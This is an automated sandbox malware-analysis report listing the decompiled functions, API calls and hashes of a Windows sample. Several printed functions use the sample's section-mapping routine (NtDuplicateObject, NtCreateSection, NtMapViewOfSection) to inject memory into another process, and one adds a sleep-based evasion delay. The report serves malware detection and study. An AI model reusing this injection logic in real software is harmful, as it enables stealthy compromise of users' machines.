API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: c46072ac14fadc6c14f4da61cc6c098fcb884d1b5859fc903d461aa0a5fc68b9
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 2B527E74A01229DFDBA4DF58C984BACBBB1BF09304F1484D9E54DA7366DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 02BF0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02BF0223,?,?), ref: 02BF0E19
SetErrorMode.KERNELBASE(00000000,?,?,02BF0223,?,?), ref: 02BF0E1E

Memory Dump Source

Source File: 00000000.00000002.290595055.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2bf0000_aw9Ynwqd1x.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 493a6c6bdc8abdcb9cbbc839ae6066722017b708e17f1d27ef97698133936497
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 64D01231545128B7D7403A94DC09BCD7B1CDF09B66F008451FB0DD9481C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040FF16 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040FF47

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: d18bf0e7a5befb7e6eb5015713972bd9792d2fcfd7b0357f9e96854c3e313ecc
Instruction ID: 5392c54d68d4db2a54f79abd2dc3359365efe6df07a1512e561dbd391f1b8ef8
Opcode Fuzzy Hash: d18bf0e7a5befb7e6eb5015713972bd9792d2fcfd7b0357f9e96854c3e313ecc
Instruction Fuzzy Hash: E4F0E9365140125DC63036356C448B7162CDADB36D3110437F5A7E3684E9384C8742A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040C1FE Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040C213

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 92bc9d6ff1ea49140ad95c8bd611eb4c2b330745212b2f82e38c0aef0d283f69
Instruction ID: 46a78f87860f62e6d25cc88a2f264df0917638aaf86e95930ddecb06138061c4
Opcode Fuzzy Hash: 92bc9d6ff1ea49140ad95c8bd611eb4c2b330745212b2f82e38c0aef0d283f69
Instruction Fuzzy Hash: 55D05E72990308AADB119FB57D087233BDCE3883D5F044836F90DC6580E774C950D608

Uniqueness

Uniqueness Score: -1.00%

Function 0040BA35 Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMT ref: 0040BA37

Part of subcall function 0040B9C3: RtlEncodePointer.NTDLL(00000000,?,0040BA3C,00000000,004136DF,02B95B28,00000000,00000314,?,0040FA1D,02B95B28,004035D0,00012010), ref: 0040BA2A

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: fb7d1c2ef5f58c3f292d5db54f12fd4695e2c2d6670f670a4bcc42ea06e8f2f6
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 65
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00401932(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				void* __esi;
				void* _t10;
				void* _t12;
				intOrPtr* _t14;
				void* _t19;
				void* _t20;

				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, __eflags);
				_t14 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				_t10 = L00401467(_t19, _t20); // executed
				_t26 = _t10;
				if(_t10 != 0) {
					E00401558(_t14, _t10, _v8, _a16); // executed
				}
				 *_t14(0xffffffff, 0);
				_t12 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t26);
				return _t12;
			}

0x00401943
0x0040195b
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction ID: f289286abcb0c8361d5bc883c0512fb430ce21eb2a0d87beead029bdd4c1ea53
Opcode Fuzzy Hash: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction Fuzzy Hash: 6C11C2F1208204F7E7006A959D62E7A3669AB01714F304137BA43790F1D57D9913E76F

Uniqueness

Uniqueness Score: -1.00%

Function 0040193D Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E0040193D(void* __eax, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t14;
				void* _t16;
				intOrPtr* _t18;
				void* _t30;
				signed int _t38;

				_t26 = __edi;
				asm("in eax, 0x45");
				_t2 = __eax - 0x7a;
				 *_t2 =  *(__eax - 0x7a) | __ecx;
				_t38 =  *_t2;
				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(__edi, _t38);
				_t18 =  *((intOrPtr*)(_t30 + 8));
				Sleep(0x1388);
				_push(_t30 - 4);
				_push( *((intOrPtr*)(_t30 + 0x10)));
				_push( *((intOrPtr*)(_t30 + 0xc)));
				_push(_t18); // executed
				_t14 = L00401467(__edi, __esi); // executed
				_t39 = _t14;
				if(_t14 != 0) {
					E00401558(_t18, _t14,  *((intOrPtr*)(_t30 - 4)),  *((intOrPtr*)(_t30 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t16 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t26, _t39);
				return _t16;
			}

0x0040193d
0x00401940
0x00401942
0x00401942
0x00401942
0x00401943
0x0040195b
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction ID: 515f5f5985279033342f6d13e0d75d2e799464d7355665022411b06cc3c0c42c
Opcode Fuzzy Hash: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction Fuzzy Hash: 991129F2608285EBD7005BA18DA2EA937659F01710F20057BF6037E0F2D53D9513EB1B

Uniqueness

Uniqueness Score: -1.00%

Function 0040196C Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0040196C(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t9;
				void* _t11;
				intOrPtr* _t13;
				void* _t23;

				_t19 = __edi;
				_pop(es);
				asm("sbb bh, [eax+ebp*2]");
				_push(0xc5);
				L004011F5(__edi, __eflags);
				_t13 =  *((intOrPtr*)(_t23 + 8));
				Sleep(0x1388);
				_push(_t23 - 4);
				_push( *((intOrPtr*)(_t23 + 0x10)));
				_push( *((intOrPtr*)(_t23 + 0xc)));
				_push(_t13); // executed
				_t9 = L00401467(__edi, __esi); // executed
				_t29 = _t9;
				if(_t9 != 0) {
					E00401558(_t13, _t9,  *((intOrPtr*)(_t23 - 4)),  *((intOrPtr*)(_t23 + 0x14))); // executed
				}
				 *_t13(0xffffffff, 0);
				_t11 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t29);
				return _t11;
			}

0x0040196c
0x0040196c
0x0040196d
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction ID: 3e47f40c2c79a3419effdd93610d16f961f2ccd470e9348de27537ec9d0296a5
Opcode Fuzzy Hash: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction Fuzzy Hash: CA01F2B2208244EFCB005BE58CA1EAA3765AB05315F300133F603B90F2C93C8512EB6B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02BF092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 02BF0966
., xrefs: 02BF095F
GetProcAddress., xrefs: 02BF09DC, 02BF09DF, 02BF09E4

Memory Dump Source

Source File: 00000000.00000002.290595055.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2bf0000_aw9Ynwqd1x.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 254138a8e4ee9050fd5b99e5bac2bb158a88439a30e31c78f2f91d0bb40b2434
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 5C318CB6900609CFDB10DF99C880AAEBBF5FF08324F54448AD941A7325D771EA49CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040906E Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6104aeecfe66505e8e01c27475ddf820561ea98302b235cad7063d3fd32ec4ea
Instruction ID: 7d34ef3bdb190e134db5ee00d713766c90252cd741d8b3acfb425947f5740e85
Opcode Fuzzy Hash: 6104aeecfe66505e8e01c27475ddf820561ea98302b235cad7063d3fd32ec4ea
Instruction Fuzzy Hash: B8B11120D2AF414DE72396398A3533AB65CAFBB2C5F51D72BFC2674DA2EB2185C34144

Uniqueness

Uniqueness Score: -1.00%

Function 00415940 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cab93c81b97a2a593593719a8b6f9a92817143644f55a43271a1ff07fc70ac8b
Instruction ID: 266a9df955fe158f320db73211845a667f2f16b2562f6fa1a938cf9770e19da6
Opcode Fuzzy Hash: cab93c81b97a2a593593719a8b6f9a92817143644f55a43271a1ff07fc70ac8b
Instruction Fuzzy Hash: 44A17E31114A09CFD718CF18C496AE57BA0FF84365B15869EE9DA8F3E1C738E991CB48

Uniqueness

Uniqueness Score: -1.00%

Function 02BF0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.290595055.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2bf0000_aw9Ynwqd1x.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 70c56d1f13897e2e90e61de3ff472bb7ce23d21db4b058ccf096444accc91a6f
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: BA012B77A116008FDF61EF24C804BAA33F5FB85206F0548F4DA06D7257E370A845CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB2A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040BB47
__lock.LIBCMT ref: 0040BBA2
__lock.LIBCMT ref: 0040BBC3
___addlocaleref.LIBCMT ref: 0040BBE1

Strings

86@, xrefs: 0040BB53
`B, xrefs: 0040BB99

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
String ID: 86@$`B
API String ID: 1628550938-4175524224
Opcode ID: 504b7578ed20731cd17ea031278f014cd093bcb70dfe4600e5912cdc0291efd7
Instruction ID: 3c6cb3fb0a98c6582df657cfaa9ed9a071655c758cab3d2a90d820d0db922b0d
Opcode Fuzzy Hash: 504b7578ed20731cd17ea031278f014cd093bcb70dfe4600e5912cdc0291efd7
Instruction Fuzzy Hash: 85115E71944701EBD720AF2A9D45B9ABBF0AF04314F10453FE499B66E1CB78A9418F9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040B1E1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B1ED

Part of subcall function 0040BC8A: __getptd_noexit.LIBCMT ref: 0040BC8D
Part of subcall function 0040BC8A: __amsg_exit.LIBCMT ref: 0040BC9A

__amsg_exit.LIBCMT ref: 0040B20D
__lock.LIBCMT ref: 0040B21D

Strings

`B, xrefs: 0040B244

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock
String ID: `B
API String ID: 3445076945-3602356314
Opcode ID: e38d9cd0440af27b51a5d4fc5c132cd1d79889e0b8e45bffa3906a1fc1a5ee6c
Instruction ID: e6e36b68993df3e8040a5163304010b929fe2b42e9d769154e917eec7994766c
Opcode Fuzzy Hash: e38d9cd0440af27b51a5d4fc5c132cd1d79889e0b8e45bffa3906a1fc1a5ee6c
Instruction Fuzzy Hash: 65015E31A40A11ABD720EB66984975E73A0EF48714F54417FE800B77D1C73C59828BDD

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3E5 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040D4A9
__fileno.LIBCMT ref: 0040D4C9
__locking.LIBCMT ref: 0040D4D0
__flsbuf.LIBCMT ref: 0040D4FB

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: __fileno__flsbuf__flush__locking
String ID:
API String ID: 2259706978-0
Opcode ID: 430dbf7710065038ae6cd640f7b51839118b9976c9628118ea72bb954179c367
Instruction ID: 1463847508441cf8661831fd7c3e7dc1b4ee0eb7c84ce0360ddc8223e1b77c0e
Opcode Fuzzy Hash: 430dbf7710065038ae6cd640f7b51839118b9976c9628118ea72bb954179c367
Instruction Fuzzy Hash: D8418331E00604ABDB24DFE999845AFB7B5AF80324F24853EE855A72C0D778ED59CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B94D Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B959

Part of subcall function 0040BC8A: __getptd_noexit.LIBCMT ref: 0040BC8D
Part of subcall function 0040BC8A: __amsg_exit.LIBCMT ref: 0040BC9A

__getptd.LIBCMT ref: 0040B970
__amsg_exit.LIBCMT ref: 0040B97E
__lock.LIBCMT ref: 0040B98E

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 9b2009e78754034a59e2a5f848ae4adcc1214c4d7fa763fde5e61d0ba3e8802d
Instruction ID: c084cad3b0a713dd8a748de4fbd9e6b0c5ecf2b178743782b4ea0afad3ac5189
Opcode Fuzzy Hash: 9b2009e78754034a59e2a5f848ae4adcc1214c4d7fa763fde5e61d0ba3e8802d
Instruction Fuzzy Hash: 2EF01D72A54600DBE620BBA68446B5972A0EF00718F54467FE990B72D2CB3C99428FDE

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8EE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 00413115
__getbuf.LIBCMT ref: 004131AD

Strings

0B, xrefs: 0041311B

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: __fileno__getbuf
String ID: 0B
API String ID: 2304796792-4003747729
Opcode ID: fe86eaa1068fbcdd953c478e9f58ac5911e241c5389eeafd624586de12d5976f
Instruction ID: 238c9518ae64fbc64a384139eac71993fcdd7c58080ad084bc3265c66ea9700c
Opcode Fuzzy Hash: fe86eaa1068fbcdd953c478e9f58ac5911e241c5389eeafd624586de12d5976f
Instruction Fuzzy Hash: 1D31D672504A006AC7348E6DC8446A777D1AF82375B28871FE8BE877D1D73CAEC2861D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D002 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0040D024
__calloc_crt.LIBCMT ref: 0040D03D

Strings

(B, xrefs: 0040D069

Memory Dump Source

Source File: 00000000.00000002.290124067.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_aw9Ynwqd1x.jbxd

Similarity

API ID: __calloc_crt
String ID: (B
API String ID: 3494438863-3191114706
Opcode ID: e5d9b9f67e9f41cb9a0c01250d9e63c43d4d1b1ab0257510f4e0fc70bc82ab87
Instruction ID: 7694209953bd8325c9736c855ce1e9d23795536f784e4ceff77b9eb1220e8683
Opcode Fuzzy Hash: e5d9b9f67e9f41cb9a0c01250d9e63c43d4d1b1ab0257510f4e0fc70bc82ab87
Instruction Fuzzy Hash: 5011C171B4421057F3249EAEBD406A227C5FB857A8F24453BE609EB3D5F73D8886924C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dbjigstPID: 996, Parent PID: 1080COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	12.3%
Signature Coverage:	0%
Total number of Nodes:	714
Total number of Limit Nodes:	12

Executed Functions

Function 00401558 Relevance: 10.7, APIs: 7, Instructions: 206
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00401558(intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				struct _EXCEPTION_RECORD _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				intOrPtr _v56;
				long _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* __edi;
				intOrPtr _t87;
				struct _EXCEPTION_RECORD _t90;
				intOrPtr _t91;
				struct _GUID _t97;
				struct _GUID _t99;
				long _t100;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t183;
				intOrPtr* _t184;
				HANDLE* _t185;
				HANDLE* _t186;
				intOrPtr _t199;
				void* _t200;
				intOrPtr* _t201;
				void* _t205;

				_push(0x387);
				_t201 = _t200 + 4;
				_push(0x83);
				L004011F5(_t175, _t205);
				_t127 = _a4;
				_t176 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				_v96 = _t87;
				_t183 =  &_v100;
				 *_t183 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t183);
				_t90 =  *_t183;
				if(_t90 != 0) {
					_t132 =  &_v52;
					 *_t132 = _t90;
					 *(_t132 + 4) = _t176;
					_t184 =  &_v44;
					 *((intOrPtr*)(_t127 + 0x10))(_t184, 0x18);
					 *_t184 = 0x18;
					_push( &_v52);
					_push(_t184);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t176, _t176, 2) == 0) {
						_v12 = _t176;
						_t97 =  &_v84;
						 *(_t97 + 4) = _t176;
						 *_t97 = 0x5000;
						_t185 =  &_v88;
						if(NtCreateSection(_t185, 6, _t176, _t97, 4, 0x8000000, _t176) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t121 =  &_v72;
							 *_t121 = _t176;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t121, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
								_t123 =  &_v64;
								 *_t123 = _t176;
								if(NtMapViewOfSection( *_t185, _v16, _t123, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
									_t199 = _v72;
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t199, 0x104);
									 *((intOrPtr*)(_t199 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t99 =  &_v84;
						 *(_t99 + 4) = _t176;
						 *_t99 = _a12 + 0x10000;
						_t186 =  &_v92;
						_t100 = NtCreateSection(_t186, 0xe, _t176, _t99, 0x40, 0x8000000, _t176);
						if (_t100 != 0) goto L67;
						 *_t100 =  *_t100 + _t100;
					}
				}
				_push(0x15a4);
				_t91 =  *_t201;
				_push(0x83);
				L004011F5(_t176, _t226);
				return _t91;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction ID: 4afb5ad6e9f78dbb0f0fc4dd380045413720c66cee1019041566b0107d6eeca4
Opcode Fuzzy Hash: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction Fuzzy Hash: 2F615E71900208FBEB209F91CC49FAF7BB8EF85B14F10412AF912BA1E5D6749901DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00401564 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401564(void* __eax, void* __edx, void* __esi) {
				intOrPtr _t89;
				struct _EXCEPTION_RECORD _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t129;
				struct _EXCEPTION_RECORD* _t135;
				void* _t179;
				struct _EXCEPTION_RECORD _t180;
				struct _EXCEPTION_RECORD* _t190;
				intOrPtr* _t192;
				HANDLE* _t193;
				HANDLE* _t194;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				void* _t216;

				_t216 = __eax + 0x15a4b8;
				_push(0x387);
				_t211 = _t210 + 4;
				_push(0x83);
				L004011F5(_t179, _t216);
				_t129 =  *((intOrPtr*)(_t208 + 8));
				_t180 = 0;
				 *((intOrPtr*)(_t208 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t208 - 0x34)) =  *((intOrPtr*)(_t208 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t89;
				_t190 = _t208 - 0x60;
				 *_t190 = _t180;
				 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t190);
				_t92 =  *_t190;
				if(_t92 != 0) {
					_t135 = _t208 - 0x30;
					 *_t135 = _t92;
					 *(_t135 + 4) = _t180;
